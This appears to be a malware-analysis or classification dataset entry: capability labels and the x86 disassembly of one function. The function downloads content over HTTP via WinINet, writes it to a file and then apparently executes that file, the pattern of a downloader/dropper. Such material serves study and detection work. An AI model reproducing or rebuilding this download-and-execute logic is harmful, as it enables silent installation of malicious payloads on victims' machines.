Function at 0x401cc0
Capabilities:
Create http request
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
lea edi, [ebp - 0xa0]
mov ecx, 0x28
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x20], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x4c], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x4b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x50], 0
mov esi, esp
push 0
push 0
push 0
push 0
push 0x40e6b8
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp esi, esp
call fcn.00403670
mov dword [ebp - 0x54], eax
mov esi, esp
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call dword [0x412d94]
cmp esi, esp
call fcn.00403670
mov dword [ebp - 0x58], eax
mov esi, esp
push 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x20]
push eax
push 0x13
mov ecx, dword [ebp - 0x58]
push ecx
call dword [0x412dac]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x20]
push eax
push 0x13
mov ecx, dword [ebp - 0x58]
push ecx
call dword [0x412dac]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x401f07
push 3
push 0x40e668
lea edx, [ebp - 0x20]
push edx
call fcn.00403af0
add esp, 0xc
test eax, eax
je 0x401dc3
jmp 0x401f34
mov esi, esp
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x4c]
push ecx
push 5
mov edx, dword [ebp - 0x58]
push edx
call dword [0x412dac]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x4c]
push ecx
push 5
mov edx, dword [ebp - 0x58]
push edx
call dword [0x412dac]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x401e16
lea eax, [ebp - 0x4c]
push eax
call fcn.00403ad0
add esp, 4
mov dword [ebp - 0x50], eax
jmp 0x401e1b
jmp 0x401f34
mov esi, esp
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp esi, esp
call fcn.00403670
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffff
jne 0x401e4e
jmp 0x401f34
mov edx, 1
test edx, edx
je 0x401ea6
mov esi, esp
lea eax, [ebp - 0x24]
push eax
push 1
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x58]
push edx
call dword [0x412ed0]
cmp esi, esp
call fcn.00403670
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
je 0x401e83
cmp dword [ebp - 0x24], 0
jne 0x401e85
jmp 0x401ea6
mov esi, esp
push 0
lea eax, [ebp - 0x28]
push eax
push 1
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [0x412d98]
cmp esi, esp
call fcn.00403670
jmp 0x401e4e
mov esi, esp
mov eax, dword [ebp - 0x58]
push eax
call dword [0x412d9c]
cmp esi, esp
call fcn.00403670
mov esi, esp
mov ecx, dword [ebp - 0x54]
push ecx
call dword [0x412d9c]
cmp esi, esp
call fcn.00403670
mov esi, esp
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 5
mov eax, dword [ebp + 0xc]
push eax
call dword [fcn.00412db8]
cmp esi, esp
call fcn.00403670
jmp 0x401f34
mov esi, esp
mov ecx, dword [ebp - 0x58]
push ecx
call dword [0x412d9c]
cmp esi, esp
call fcn.00403670
mov esi, esp
mov edx, dword [ebp - 0x54]
push edx
call dword [0x412d9c]
cmp esi, esp
call fcn.00403670
push 0
call fcn.004036f0
pop edi
pop esi
pop ebx
add esp, 0xa0
cmp ebp, esp
call fcn.00403670
mov esp, ebp
pop ebp
ret